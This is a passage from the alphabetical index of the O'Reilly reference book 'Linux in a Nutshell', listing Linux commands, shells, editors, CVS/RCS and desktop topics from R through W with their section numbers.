files, copying: 3.1. Alphabetical Summary of Commands
hosts (see hosts)
logging in: 3.1. Alphabetical Summary of Commands
machine, transferring files to/from: 3.1. Alphabetical Summary of Commands
shell programs (CVS): 14.4.2. Configuring CVS
remove command (CVS): 14.4.7.17. remove
removing (see deleting)
renaming files/directories: 3.1. Alphabetical Summary of Commands
renice command: 3.1. Alphabetical Summary of Commands
repeat command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
replacing, metacharacters for: 9.4.1. Examples of Searching and Replacing
repositories, CVS (see CVS utility, repositories)
Repository file (CVS): 14.4.4.3. CVS directories
repository locators
pserver: 14.3.3.11. The passwd file
14.3.6. Using an Interim Shared Sandbox
types of: 14.4.1. Repository Locators
reset command: 3.1. Alphabetical Summary of Commands
resources (see documentation)
return command (bash): 7.7. Built-in Commands
return command (gawk): 13.8. Alphabetical Summary of Commands
Reverse Address Resolution Protocol (RARP): 3.1. Alphabetical Summary of Commands
reverse linefeeds, displaying: 3.1. Alphabetical Summary of Commands
reverse output: 3.1. Alphabetical Summary of Commands
revision control
CVS utility: 14. CVS and RCS
RCS utility: 14.5. The RCS Utility
Revision Control System (see RCS utility)
$Revision keyword (RCS): 14.8.1.1. Keywords
revision numbers (RCS): 14.8.2. Revision Numbering
rewind command (ex): 11.13. Alphabetical Summary of ex Commands
rexecd daemon: 3.1. Alphabetical Summary of Commands
rfreeze command (CVS) (see rt|rtag commands (CVS))
rlog command (CVS) (see log command (CVS))
rlog command (RCS): 14.9. Alphabetical Summary of RCS Commands
rlogin command: 3.1. Alphabetical Summary of Commands
rlogind daemon: 3.1. Alphabetical Summary of Commands
rm command: 3.1. Alphabetical Summary of Commands
rm command (CVS) (see remove command (CVS))
rmail command (TCP/IP): 3.1. Alphabetical Summary of Commands
rmdir command: 3.1. Alphabetical Summary of Commands
rmmod command: 3.1. Alphabetical Summary of Commands
Root file (CVS): 14.4.4.3. CVS directories
Root menu, fvwm2: 17.5. A Quick Tour of the fvwm Environment
customizing the: 17.14. Customizing Menus
rootflags command: 3.1. Alphabetical Summary of Commands
rotating log files: 3.1. Alphabetical Summary of Commands
route command (TCP/IP): 3.1. Alphabetical Summary of Commands
routed daemon: 2.3.2.2. Routing daemons
3.1. Alphabetical Summary of Commands
routing: 2.3.2. Gateways and Routing
3.1. Alphabetical Summary of Commands
RPC (Remote Procedure Call): 2.8. RPC and XDR
3.1. Alphabetical Summary of Commands
rpcgen command: 3.1. Alphabetical Summary of Commands
rpcinfo command (NFS/NIS): 3.1. Alphabetical Summary of Commands
RPM (see Red Hat Package Manager)
rpm command: 3.1. Alphabetical Summary of Commands
5.1.1. The rpm Command
build options: 5.1.1.10. Build options
FTP/HTTP options: 5.1.1.9. FTP/HTTP options
information selection options: 5.1.1.3.2. Information selection options
install/upgrade options: 5.1.1.2. Install, upgrade, and freshen options
package selection options: 5.1.1.3.1. Package selection options
signature check options: 5.1.1.7. Signature check options
uninstall options: 5.1.1.4. Uninstall options
rprompt variable (csh/tcsh): 8.4.3. Predefined Shell Variables
rsh command: 3.1. Alphabetical Summary of Commands
rshd daemon: 3.1. Alphabetical Summary of Commands
rstat command: 3.1. Alphabetical Summary of Commands
rt|rtag commands (CVS): 14.4.7.18. rtag
rule sets (firewalling): 2.4. Overview of Firewalls and Masquerading
ipchains and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
run-parts command: 3.1. Alphabetical Summary of Commands
runlevel, system: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
ruptime command: 3.1. Alphabetical Summary of Commands
rusers command: 3.1. Alphabetical Summary of Commands
rwall command: 3.1. Alphabetical Summary of Commands
rwho command: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: S

s command (sed): 12.5. Alphabetical Summary of sed Commands
sandboxes, CVS (see CVS utility, sandboxes)
savehist variable (csh/tcsh): 8.4.3. Predefined Shell Variables
saving, vi commands for: 11.6. Saving and Exiting
Sawfish window manager
focus behavior of windows: 15.4.8.2. Focus behavior
minimizing/maximizing windows: 15.4.8.3. Minimizing and maximizing
moving and resizing windows: 15.4.8.5. Moving and resizing
placement of new windows: 15.4.8.6. Placement
shaded windows: 15.4.8.2. Focus behavior
tooltips, displaying: 15.4.8.4. Miscellaneous
updating windows: 15.4.8.4. Miscellaneous
window appearance, setting: 15.4.8.1. Appearance
workspaces: 15.4.8.7. Workspaces
scale keyword: 3.1. Alphabetical Summary of Commands
SCCS, importing files from: 14.3.5.3. Importing from SCCS
sched command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
sched variable (csh/tcsh): 8.4.3. Predefined Shell Variables
screensavers, setting
GNOME: 15.4.1.2. Screensaver
KDE: 16.3.2.9. Screensaver
script command: 3.1. Alphabetical Summary of Commands
script command (ex): 11.13. Alphabetical Summary of ex Commands
scripts
exiting: 7.7. Built-in Commands
gawk for (see gawk scripting language)
running all in directory: 3.1. Alphabetical Summary of Commands
shell/Perl: 5.2.4. Scripts
Scroll variable (fvwm2): 17.13.1. Keyboard Shortcuts to Navigate the Desktop
searching
for bad blocks: 3.1. Alphabetical Summary of Commands
for commands: 7.7. Built-in Commands
commands for: 1.6.7. Searching
Emacs commands for: 10.3.8. Incremental Search Commands
file contents: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
for files: 3.1. Alphabetical Summary of Commands
files contents: 3.1. Alphabetical Summary of Commands
for files::files: 3.1. Alphabetical Summary of Commands
man pages: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
metacharacters for: 9.3. Metacharacters
and replacing: 9.4.1. Examples of Searching and Replacing
vi commands for: 11.4.5. Searches
searching commands: 1.6.7. Searching
Second Extended Filesystem
debugging a: 3.1. Alphabetical Summary of Commands
e2fsck command and: 3.1. Alphabetical Summary of Commands
formatting device as: 3.1. Alphabetical Summary of Commands
tuning the parameters of: 3.1. Alphabetical Summary of Commands
sections
of files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
man pages: 3.1. Alphabetical Summary of Commands
sectors, boot: 4.1. The Boot Process
security
administration commands for: 2.1.12. Security and System Integrity
firewalls and masquerading: 2.4. Overview of Firewalls and Masquerading
ipchains and: 3.1. Alphabetical Summary of Commands
ipfwadm and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
sed editor: 3.1. Alphabetical Summary of Commands
9.4. Examples of Searching
12. The sed Editor
commands (by name): 12.5. Alphabetical Summary of sed Commands
metacharacters for: 9.2. Metacharacters, Listed by Linux Program
sed utility: 1.4. What This Book Offers
select command (bash): 7.7. Built-in Commands
semaphore files: 3.1. Alphabetical Summary of Commands
sendmail
mailq command and: 3.1. Alphabetical Summary of Commands
mailstats command and: 3.1. Alphabetical Summary of Commands
makemap command and: 3.1. Alphabetical Summary of Commands
praliases command and: 3.1. Alphabetical Summary of Commands
serial line communication: 2.3.4.2. Serial-line communication
3.1. Alphabetical Summary of Commands
servers
getting information on: 3.1. Alphabetical Summary of Commands
NFS: 2.5. Overview of NFS
NIS: 2.6.1. Servers
2.7.1. Setting up an NIS server
rshd daemon: 3.1. Alphabetical Summary of Commands
set command (bash): 7.7. Built-in Commands
set command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
set command (ex): 11.13. Alphabetical Summary of ex Commands
:set command (vi), options: 11.14.1. The :set Command
setdprm command: 3.1. Alphabetical Summary of Commands
setenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
setsid command: 3.1. Alphabetical Summary of Commands
settc command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
setty command (tcsh): 8.9. Built-in csh and tcsh Commands
sh command: 3.1. Alphabetical Summary of Commands
sh shell: 3.1. Alphabetical Summary of Commands
shar command: 3.1. Alphabetical Summary of Commands
shell command (ex): 11.13. Alphabetical Summary of ex Commands
shell programming commands: 1.6.8. Shell Programming
shell programs, remote: 14.4.2. Configuring CVS
shell variable (csh/tcsh): 8.4.3. Predefined Shell Variables
shell variables
bash shell: 7.4.2. Built-in Shell Variables
exporting values of: 7.7. Built-in Commands
shells: 1.4. What This Book Offers
6. The Linux Shells: An Overview
changing login: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
creating for euid: 3.1. Alphabetical Summary of Commands
Emacs shell mode characters: 10.3.12. Special Shell Mode Characters
rshd daemon: 3.1. Alphabetical Summary of Commands
shell scripts: 5.2.4. Scripts
6.1.3. Programming
vi commands for: 11.8. Interacting with the Shell
shift command (bash): 7.7. Built-in Commands
shift command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
shortcuts: 16.3.5. Keyboard Shortcuts
(see also keyboard shortcuts)
adding to GNOME desktop: 15.1.1. Adding Desktop Icons
Enlightenment window manager: 15.4.9.8. Shortcuts
fvwm2 keyboard: 17.13. Adding Keyboard Shortcuts
showmount command (NFS/NIS): 3.1. Alphabetical Summary of Commands
shutdown command: 3.1. Alphabetical Summary of Commands
sin command (gawk): 13.8. Alphabetical Summary of Commands
size command: 3.1. Alphabetical Summary of Commands
slattach command (TCP/IP): 3.1. Alphabetical Summary of Commands
sleep command: 3.1. Alphabetical Summary of Commands
sliding panel, GNOME desktop: 15.2.1. Additional Panels
SLIP (Serial Line IP): 2.3.4.2. Serial-line communication
SloppyFocus policy (fvwm2): 17.6. Specifying Click-to-Type Focus
sockets, PCMCIA: 3.1. Alphabetical Summary of Commands
software distribution/installation system: 3.1. Alphabetical Summary of Commands
sort command: 3.1. Alphabetical Summary of Commands
sorting file contents: 3.1. Alphabetical Summary of Commands
Sound modules, KDE: 16.3.6. Sound
sounds, enabling
Enlightenment window manager: 15.4.9.4. Audio
GNOME: 15.4.4. Multimedia
KDE: 16.3.6. Sound
source code, Linux: 1.5. Sources and Licenses
source command (bash): 7.7. Built-in Commands
source command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
source command (ex): 11.13. Alphabetical Summary of ex Commands
$Source keyword (RCS): 14.8.1.1. Keywords
space characters (see whitespace)
special characters
bash shell: 7.3.4. Quoting
bc language, print extension: 3.1. Alphabetical Summary of Commands
colcrt command: 3.1. Alphabetical Summary of Commands
tr command: 3.1. Alphabetical Summary of Commands
spelling: 3.1. Alphabetical Summary of Commands
split command (gawk): 13.8. Alphabetical Summary of Commands
splitting files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
sprintf command (gawk): 13.8. Alphabetical Summary of Commands
sqrt command (gawk): 13.8. Alphabetical Summary of Commands
srand command (gawk): 13.8. Alphabetical Summary of Commands
st|stat commands (CVS) (see status command (CVS))
stacking directories: 7.7. Built-in Commands
Stallman, Richard: 1.5. Sources and Licenses
standard input (see input)
standard key mappings, KDE: 16.3.5.2. Standard keys
standard output (see output)
StartsOnDesk option (fvwm2): 17.11. Starting Windows on Different Desktops and Pages
StartsOnPage option (fvwm2): 17.11. Starting Windows on Different Desktops and Pages
startup programs, GNOME: 15.4.6. Session
stat command: 3.1. Alphabetical Summary of Commands
$State keyword (RCS): 14.8.1.1. Keywords
state, revision (RCS): 14.8.4. Specifying States
status command (CVS): 14.4.7.19. status
status-line commands (vi): 11.1.4. Status-Line Commands
status variable (csh/tcsh): 8.4.3. Predefined Shell Variables
sticky windows, fvwm2: 17.5. A Quick Tour of the fvwm Environment
17.10. Making the Same Window Appear on Every Page
stop command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
stop command (ex): 11.13. Alphabetical Summary of ex Commands
storage commands: 1.6.9. Storage
strace command: 3.1. Alphabetical Summary of Commands
strfile command: 3.1. Alphabetical Summary of Commands
strftime function (gawk): 13.8. Alphabetical Summary of Commands
strings
printing: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
translating characters between: 3.1. Alphabetical Summary of Commands
strip command: 3.1. Alphabetical Summary of Commands
stty command: 3.1. Alphabetical Summary of Commands
Style variable (fvwm2)
focus policies: 17.6. Specifying Click-to-Type Focus
starting applications on different desktops: 17.11. Starting Windows on Different Desktops and Pages
sticky windows and: 17.10. Making the Same Window Appear on Every Page
su command: 3.1. Alphabetical Summary of Commands
sub command (gawk): 13.8. Alphabetical Summary of Commands
substitute command (ex): 11.13. Alphabetical Summary of ex Commands
substitution operators
bash shell: 7.4.1. Variable Substitution
7.6.3. Command Substitution
csh/tcsh shells: 8.4.1. Variable Substitution
substr command (gawk): 13.8. Alphabetical Summary of Commands
sum command: 3.1. Alphabetical Summary of Commands
support, online: 0.1.4. Online Linux Support
suspend command (bash): 7.7. Built-in Commands
suspend command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
suspend command (ex): 11.13. Alphabetical Summary of ex Commands
11.13. Alphabetical Summary of ex Commands
swallowed applications: 16.2.4. Running an Application on the Panel
swap space: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
swapdev command: 3.1. Alphabetical Summary of Commands
swapon, swapoff commands: 3.1. Alphabetical Summary of Commands
switch command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
symbolic links: 3.1. Alphabetical Summary of Commands
symbolic tags: 14.1.3. Tagging
symlinks variable (csh/tcsh): 8.4.3. Predefined Shell Variables
sync command: 3.1. Alphabetical Summary of Commands
sysklogd daemon: 3.1. Alphabetical Summary of Commands
syslogd daemon: 3.1. Alphabetical Summary of Commands
apmd command and: 3.1. Alphabetical Summary of Commands
systat command: 3.1. Alphabetical Summary of Commands
system
activity (see performance; processes)
administration: 2.1. Common Commands
commands for: 2.1.13. Starting and Stopping the System
control messages: 3.1. Alphabetical Summary of Commands
integrity of (see security, administration commands for)
load on (see performance)
printing summary of: 3.1. Alphabetical Summary of Commands
runlevel: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
status: 3.1. Alphabetical Summary of Commands
7.4.2. Built-in Shell Variables
time, setting: 3.1. Alphabetical Summary of Commands
system command (gawk): 13.8. Alphabetical Summary of Commands
system component information, KDE: 16.3.3. Information
System menu, GNOME: 15.3. The Main Menu
system status commands: 1.6.10. System Status
system.fvwm2rc configuration file: 17.2. Configuration Files
menu customization and: 17.14. Customizing Menus
sticky windows and: 17.10. Making the Same Window Appear on Every Page
systime command (gawk): 13.8. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: T

t command (ex): 11.13. Alphabetical Summary of ex Commands
t command (sed): 12.5. Alphabetical Summary of sed Commands
ta|tag commands (CVS): 14.4.7.20. tag
tabs (see whitespace)
tac command: 3.1. Alphabetical Summary of Commands
tag command (ex): 11.13. Alphabetical Summary of ex Commands
Tag file (CVS): 14.4.4.3. CVS directories
taginfo file (CVS): 14.3.3.14. The taginfo file
tagnext command (ex): 11.13. Alphabetical Summary of ex Commands
tagpop command (ex): 11.13. Alphabetical Summary of ex Commands
tagprev command (ex): 11.13. Alphabetical Summary of ex Commands
tags
moving: 14.3.8.1. admin
rtag command and: 14.4.7.18. rtag
symbolic: 14.1.3. Tagging
tagtop command (ex): 11.13. Alphabetical Summary of ex Commands
tail command: 3.1. Alphabetical Summary of Commands
talk command: 3.1. Alphabetical Summary of Commands
talkd daemon: 3.1. Alphabetical Summary of Commands
tar command: 3.1. Alphabetical Summary of Commands
taskbar, KDE: 16.2.2. The Taskbar
Tasklist applet: 15.1. Desktop Overview
tcpd daemon: 3.1. Alphabetical Summary of Commands
tcpdchk command (TCP/IP): 3.1. Alphabetical Summary of Commands
tcpdmatch command (TCP/IP): 3.1. Alphabetical Summary of Commands
TCP/IP: 2.3. Overview of TCP/IP
3.1. Alphabetical Summary of Commands
administration commands: 2.2.1. TCP/IP Administration
tcsh shell: 1.4. What This Book Offers
3.1. Alphabetical Summary of Commands
6.4. Differing Features
8. csh and tcsh
tee command: 3.1. Alphabetical Summary of Commands
telinit command: 3.1. Alphabetical Summary of Commands
telltc command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
telnet: 3.1. Alphabetical Summary of Commands
telnetd daemon: 3.1. Alphabetical Summary of Commands
$TEMP environment variable (CVS): 14.4.2. Configuring CVS
Template file (CVS): 14.4.4.3. CVS directories
terminals
bash shell variables for: 7.4.2. Built-in Shell Variables
clearing screen: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
getty, agetty commands: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
I/O options: 3.1. Alphabetical Summary of Commands
writing messages to: 3.1. Alphabetical Summary of Commands
test command, Linux: 3.1. Alphabetical Summary of Commands
test command (bash): 7.7. Built-in Commands
test patterns, printing: 3.1. Alphabetical Summary of Commands
text
breaking lines: 3.1. Alphabetical Summary of Commands
checking spelling: 3.1. Alphabetical Summary of Commands
files (see files)
whitespace (see whitespace)
text processing commands: 1.6.11. Text Processing
TFTP (Trivial File Transfer Protocol): 3.1. Alphabetical Summary of Commands
tftpd daemon: 3.1. Alphabetical Summary of Commands
themes, selecting
Enlightenment window manager: 15.4.9.7. Themes
GNOME: 15.4.1.3. Theme selector
KDE: 16.3.2.7. Theme manager
tilde (~) command (ex): 11.13. Alphabetical Summary of ex Commands
tiles, GNOME panel: 15.4.2.2. Buttons
time and date
calendar: 3.1. Alphabetical Summary of Commands
current: 3.1. Alphabetical Summary of Commands
CVS date formats: 14.4.6.1. Date formats
scheduling command execution: 3.1. Alphabetical Summary of Commands
setting system: 3.1. Alphabetical Summary of Commands
specifying with RCS: 14.8.3. Specifying the Date
time conversion files: 3.1. Alphabetical Summary of Commands
time zones: 3.1. Alphabetical Summary of Commands
uptime command: 3.1. Alphabetical Summary of Commands
waiting for: 3.1. Alphabetical Summary of Commands
time command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
time variable (csh/tcsh): 8.4.3. Predefined Shell Variables
times command (bash): 7.7. Built-in Commands
titlebars
GNOME menu: 15.3. The Main Menu
KDE: 16.3.7. Window Behavior
Sawfish window manager: 15.4.8.1. Appearance
tload command: 3.1. Alphabetical Summary of Commands
$TMP, $TMPDIR environment variables (CVS) (see $TEMP environment variable (CVS))
tolower command (gawk): 13.8. Alphabetical Summary of Commands
tooltips, displaying
Enlightenment window manager: 15.4.9.3. Behavior
KDE: 16.3.1.4. Panel
Sawfish window manager: 15.4.8.4. Miscellaneous
top command: 3.1. Alphabetical Summary of Commands
touch command: 3.1. Alphabetical Summary of Commands
toupper command (gawk): 13.8. Alphabetical Summary of Commands
tperiod variable (csh/tcsh): 8.4.3. Predefined Shell Variables
tr command: 3.1. Alphabetical Summary of Commands
traceroute command (TCP/IP): 3.1. Alphabetical Summary of Commands
transferring files: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
transposing text, Emacs commands for: 10.3.6. Transposition Commands
trap command (bash): 7.7. Built-in Commands
Trivial File Transfer Protocol (TFTP): 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
troff command: 3.1. Alphabetical Summary of Commands
troubleshooting
bash shell: 7.3.3. Command-line Editing
Emacs editor: 10.2. Typical Problems
TCP/IP: 2.3.5. Troubleshooting TCP/IP
true command: 3.1. Alphabetical Summary of Commands
tune2fs command: 3.1. Alphabetical Summary of Commands
tunelp command: 3.1. Alphabetical Summary of Commands
type command (bash): 7.7. Built-in Commands
typeset command (bash): 7.7. Built-in Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: U

uid (see users)
ul command: 3.1. Alphabetical Summary of Commands
ulimit command (bash): 7.7. Built-in Commands
umask command (bash): 7.7. Built-in Commands
umask command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
umount command: 3.1. Alphabetical Summary of Commands
unabbreviate command (ex): 11.13. Alphabetical Summary of ex Commands
unalias command (bash): 7.7. Built-in Commands
unalias command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
uncomplete command (tcsh): 8.9. Built-in csh and tcsh Commands
uncompress command: 3.1. Alphabetical Summary of Commands
uncompressing (see compression, file)
underscores/underlining: 3.1. Alphabetical Summary of Commands
undo command (ex): 11.13. Alphabetical Summary of ex Commands
undoing, Emacs commands for: 10.3.5. Stopping and Undoing Commands
unedit command (CVS): 14.4.7.21. unedit
unexpand command: 3.1. Alphabetical Summary of Commands
unhash command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
uniq command: 3.1. Alphabetical Summary of Commands
Unix: 1.1. The Excitement of Linux
unlimit command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
unloading modules: 3.1. Alphabetical Summary of Commands
unmap command (ex): 11.13. Alphabetical Summary of ex Commands
unmounting filesystems: 3.1. Alphabetical Summary of Commands
unset command (bash): 7.7. Built-in Commands
unset command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
unseten command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
unsetenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
unshar command: 3.1. Alphabetical Summary of Commands
unstr command: 3.1. Alphabetical Summary of Commands
until command (bash): 7.7. Built-in Commands
up|upd commands (CVS) (see update command (CVS))
update command: 3.1. Alphabetical Summary of Commands
update command (CVS): 14.4.7.22. update
status codes: 14.4.7.22. update
Update.prog file (CVS): 14.4.4.3. CVS directories
uppercase (see case)
UPS (Uninterruptible Power Supply): 3.1. Alphabetical Summary of Commands
uptime command: 3.1. Alphabetical Summary of Commands
URL handlers, setting (GNOME): 15.4.3.3. URL handlers
URL links
GNOME desktop, adding to: 15.1.1. Adding Desktop Icons
KDE desktop, adding to: 16.1.3. Adding a Link to the Desktop
16.1.3. Adding a Link to the Desktop
setting colors for: 16.3.1.2. File manager
User Agent tab, KDE Control Center: 16.3.1.3. Web browser
user groups: 0.1.5. Linux User Groups
user interface settings, GNOME: 15.4.7. User Interface
User menu, GNOME: 15.3. The Main Menu
useradd command: 3.1. Alphabetical Summary of Commands
userdel command: 3.1. Alphabetical Summary of Commands
usermod command: 3.1. Alphabetical Summary of Commands
usernames: 3.1. Alphabetical Summary of Commands
users
administration commands for: 2.1.15. Users
changing group identification of: 3.1. Alphabetical Summary of Commands
creating: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
deleting: 3.1. Alphabetical Summary of Commands
finger command: 3.1. Alphabetical Summary of Commands
getting information about: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
groups, displaying: 3.1. Alphabetical Summary of Commands
listing: 3.1. Alphabetical Summary of Commands
logged-in, report on: 3.1. Alphabetical Summary of Commands
logging in: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
NIS accounts: 2.7.3. NIS User Accounts
notifying of incoming mail: 3.1. Alphabetical Summary of Commands
sending messages to: 3.1. Alphabetical Summary of Commands
on specific host, listing: 3.1. Alphabetical Summary of Commands
su command: 3.1. Alphabetical Summary of Commands
talking to: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
user ID: 3.1. Alphabetical Summary of Commands
writing to: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
users command: 3.1. Alphabetical Summary of Commands
users file (CVS): 14.3.3.15. The users file
usleep command: 3.1. Alphabetical Summary of Commands
uudecode command: 3.1. Alphabetical Summary of Commands
uuencode command: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: V

v command (ex): 11.13. Alphabetical Summary of ex Commands
vacation command: 3.1. Alphabetical Summary of Commands
variables
bash shell and: 7.4. Variables
csh and tcsh: 8.4. Variables
environment (see environment variables)
gawk scripting language: 13.4. gawk System Variables
13.6. Variable and Array Assignments
shell (see shell variables)
verbose variable (csh/tcsh): 8.4.3. Predefined Shell Variables
verifymsg file (CVS): 14.3.3.16. The verifymsg file
version command (ex): 11.13. Alphabetical Summary of ex Commands
version control
CVS utility: 14. CVS and RCS
RCS utility: 14.5. The RCS Utility
version variable (csh/tcsh): 8.4.3. Predefined Shell Variables
vi command (ex): 11.13. Alphabetical Summary of ex Commands
vi editor: 1.4. What This Book Offers
3.1. Alphabetical Summary of Commands
11. The vi Editor
metacharacters for: 9.2. Metacharacters, Listed by Linux Program
setting up: 11.14. vi Configuration
vi mode (csh/tcsh): 8.7.5.2. vi mode
vi-style commands: 7.3.3. Command-line Editing
vidmode command: 3.1. Alphabetical Summary of Commands
viewports, GNOME: 15.1. Desktop Overview
15.4.8.7. Workspaces
Sawfish workspaces and: 15.4.8.7. Workspaces
virtual desktops
Enlightenment window manager: 15.4.9.2. Desktops
15.4.9.6. Backgrounds
GNOME: 15.1. Desktop Overview
KDE: 16.2.1. The Desktop Pager and Window List
16.3.1.4. Panel
virtual screens, fvwm2: 17. An Alternative Window Manager: fvwm2
17.5. A Quick Tour of the fvwm Environment
visiblebell variable (csh/tcsh): 8.4.3. Predefined Shell Variables
visual command (ex): 11.13. Alphabetical Summary of ex Commands
viusage command (ex): 11.13. Alphabetical Summary of ex Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: W

w command: 3.1. Alphabetical Summary of Commands
w command (sed): 12.5. Alphabetical Summary of sed Commands
wait command (bash): 7.7. Built-in Commands
wait command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
waiting (see sleep command)
wall command: 3.1. Alphabetical Summary of Commands
watch command (CVS): 14.4.7.23. watch
notify file and: 14.3.3.10. The notify file
watch variable (csh/tcsh): 8.4.3. Predefined Shell Variables
watchers command (CVS): 14.4.7.24. watchers
watchlog command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
wc command: 3.1. Alphabetical Summary of Commands
web browsing functionality, KDE: 16.3.1.3. Web browser
whatis command: 3.1. Alphabetical Summary of Commands
where command (tcsh): 8.9. Built-in csh and tcsh Commands
whereis command: 3.1. Alphabetical Summary of Commands
which command: 3.1. Alphabetical Summary of Commands
which command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
while command (bash): 7.7. Built-in Commands
while command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
while command (gawk): 13.8. Alphabetical Summary of Commands
whitespace
colcrt command: 3.1. Alphabetical Summary of Commands
Emacs indentation commands: 10.3.13. Indentation Commands
fmt command: 3.1. Alphabetical Summary of Commands
tabs to/from spaces: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
who command: 3.1. Alphabetical Summary of Commands
whoami command: 3.1. Alphabetical Summary of Commands
Window Behavior modules, KDE: 16.3.7. Window Behavior
window list, KDE: 16.2.1. The Desktop Pager and Window List
window managers
Enlightenment: 15.4.9. Configuring the Enlightenment Window Manager
fvwm2: 17. An Alternative Window Manager: fvwm2
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List
Sawfish: 15.4.8. Sawfish Window Manager Configuration
selecting one for GNOME: 15.4.1.4. Window manager
used with GNOME: 15. GNOME
windows
Emacs commands for: 10.3.11. Window Commands
Enlightenment window manager
focus and movement settings: 15.4.9.1. Basic options
focus behavior: 15.4.9.3. Behavior
tooltips, displaying: 15.4.9.3. Behavior
KDE
focus settings: 16.3.7.4. Properties
minimizing/maximizing: 16.3.7.4. Properties
placement of new: 16.3.7.4. Properties
resizing and moving: 16.3.7.4. Properties
tooltips, displaying: 16.3.1.4. Panel
Sawfish window manager
default appearance, setting: 15.4.8.1. Appearance
focus behavior: 15.4.8.2. Focus behavior
minimizing/maximizing: 15.4.8.3. Minimizing and maximizing
moving and resizing: 15.4.8.5. Moving and resizing
placement of new: 15.4.8.6. Placement
shaded: 15.4.8.2. Focus behavior
tooltips, displaying: 15.4.8.4. Miscellaneous
updating: 15.4.8.4. Miscellaneous
Windows 95/98, dual booting with Linux: 4.2. LILO: The Linux Loader
Windows NT/2001, dual booting with Linux: 4.4. Dual Booting Linux and Windows NT/2001
WinList module, fvwm2: 17.3. A Modular Approach
17.15. The FvwmWinList: Switching the Focus
making it part of default environment: 17.15.2. Making the FvwmWinList Part of Your Default Environment
word abbreviation commands, Emacs: 10.3.9. Word Abbreviation Commands
word count: 3.1. Alphabetical Summary of Commands
word substitution (csh/tcsh): 8.6.3. Word Substitution
wordchars variable (csh/tcsh): 8.4.3. Predefined Shell Variables
workspaces, Sawfish window manager: 15.4.8.7. Workspaces
wq command (ex): 11.13. Alphabetical Summary of ex Commands
write command: 3.1. Alphabetical Summary of Commands
write command (ex): 11.13. Alphabetical Summary of ex Commands
write permissions (see permissions, file)
writers file (CVS): 14.3.3.17. The writers file
writing: 3.1. Alphabetical Summary of Commands
(see also messages)
to disk: 3.1. Alphabetical Summary of Commands
to terminal: 3.1. Alphabetical Summary of Commands
to users: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


